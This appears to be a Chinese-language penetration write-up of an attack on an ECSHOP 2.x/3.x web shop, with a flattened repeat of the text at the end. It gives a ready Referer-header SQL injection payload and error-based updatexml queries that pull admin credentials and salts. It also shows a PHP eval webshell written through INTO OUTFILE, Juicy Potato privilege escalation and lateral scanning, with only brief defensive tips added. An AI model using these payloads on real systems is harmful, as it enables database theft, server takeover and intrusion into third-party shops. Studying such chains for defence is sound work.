记一次不存在的ecshop实战渗透
字数 910 2025-08-19 12:41:32

ECSHOP实战渗透技术分析

漏洞概述

本文详细分析ECSHOP 2.x/3.x版本存在的远程代码执行(RCE)漏洞,该漏洞通过可控函数造成SQL注入,最终实现代码执行。

漏洞利用原理

核心Payload

ECSHOP存在一个可利用的RCE漏洞,攻击者可以通过构造特定的HTTP头实现攻击:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:103:"updatexml(1,concat(0x7e,(select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user)),1) #";}

漏洞分析

  1. 漏洞触发点在于ECSHOP对用户输入的处理不当
  2. 通过可控函数构造SQL注入
  3. 利用报错注入获取敏感信息

详细渗透步骤

第一步:信息收集

  1. 确认目标系统为ECSHOP 2.x或3.x版本
  2. 识别系统运行环境:Windows 2012 Server Data

第二步:初始攻击

  1. 使用已知RCE payload进行测试
  2. 观察到MySQL报错信息,确认漏洞存在

第三步:数据库信息提取

  1. 使用updatexml()函数进行报错注入
    • 每次只能返回32位数据
    • 可使用mid()或substr()函数获取完整数据
  2. 获取管理员账户信息:
    select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user
    
  3. 获取salt值用于密码解密

第四步:后台利用

  1. 使用获取的凭证登录后台
  2. 发现具有SQL查询功能且权限全开

第五步:文件写入

  1. 检查文件写入限制:
    show variables like '%secure%';
    
  2. 寻找可写目录
  3. 写入Webshell:
    Select '<?php eval($_POST[cmd])?>' into outfile 'E://zz//zz//zz.php';
    

第六步:权限提升

  1. 系统信息收集:
    ipconfig /all
    whoami /all
    systeminfo
    
  2. 发现系统无补丁,当前用户为iuser
  3. 使用Juicy Potato提权:
    juicypotato.exe -p "whoami" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
    

第七步:横向移动

  1. 扫描C段网络
  2. 检查开放端口

技术要点总结

  1. 报错注入限制:updatexml()函数每次只能返回32位数据,需配合字符串切割函数获取完整信息
  2. 密码加密方式:ECSHOP使用salt加密,需获取salt值才能解密
  3. 文件写入限制:MySQL的secure_file_priv设置可能限制文件写入位置
  4. 提权方法:在Windows系统上可利用Juicy Potato等工具提权

防御建议

  1. 及时升级ECSHOP到最新版本
  2. 限制MySQL的文件写入权限
  3. 加强后台访问控制
  4. 定期更新系统补丁
  5. 使用最小权限原则配置数据库账户

附录:常用Payload

  1. 获取管理员账户:
    updatexml(1,concat(0x7e,(select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user)),1) #
    
  2. 获取salt值:
    updatexml(1,concat(0x7e,(select salt from webpos.ecs_admin_user limit 1)),1) #
    

通过本文的分析,安全研究人员可以全面了解ECSHOP系统的这一漏洞利用链,同时也为系统管理员提供了有效的防御思路。

ECSHOP实战渗透技术分析 漏洞概述 本文详细分析ECSHOP 2.x/3.x版本存在的远程代码执行(RCE)漏洞,该漏洞通过可控函数造成SQL注入,最终实现代码执行。 漏洞利用原理 核心Payload ECSHOP存在一个可利用的RCE漏洞,攻击者可以通过构造特定的HTTP头实现攻击: 漏洞分析 漏洞触发点在于ECSHOP对用户输入的处理不当 通过可控函数构造SQL注入 利用报错注入获取敏感信息 详细渗透步骤 第一步:信息收集 确认目标系统为ECSHOP 2.x或3.x版本 识别系统运行环境:Windows 2012 Server Data 第二步:初始攻击 使用已知RCE payload进行测试 观察到MySQL报错信息,确认漏洞存在 第三步:数据库信息提取 使用updatexml()函数进行报错注入 每次只能返回32位数据 可使用mid()或substr()函数获取完整数据 获取管理员账户信息: 获取salt值用于密码解密 第四步:后台利用 使用获取的凭证登录后台 发现具有SQL查询功能且权限全开 第五步:文件写入 检查文件写入限制: 寻找可写目录 写入Webshell: 第六步:权限提升 系统信息收集: 发现系统无补丁,当前用户为iuser 使用Juicy Potato提权: 第七步:横向移动 扫描C段网络 检查开放端口 技术要点总结 报错注入限制 :updatexml()函数每次只能返回32位数据,需配合字符串切割函数获取完整信息 密码加密方式 :ECSHOP使用salt加密,需获取salt值才能解密 文件写入限制 :MySQL的secure_ file_ priv设置可能限制文件写入位置 提权方法 :在Windows系统上可利用Juicy Potato等工具提权 防御建议 及时升级ECSHOP到最新版本 限制MySQL的文件写入权限 加强后台访问控制 定期更新系统补丁 使用最小权限原则配置数据库账户 附录:常用Payload 获取管理员账户: 获取salt值: 通过本文的分析,安全研究人员可以全面了解ECSHOP系统的这一漏洞利用链,同时也为系统管理员提供了有效的防御思路。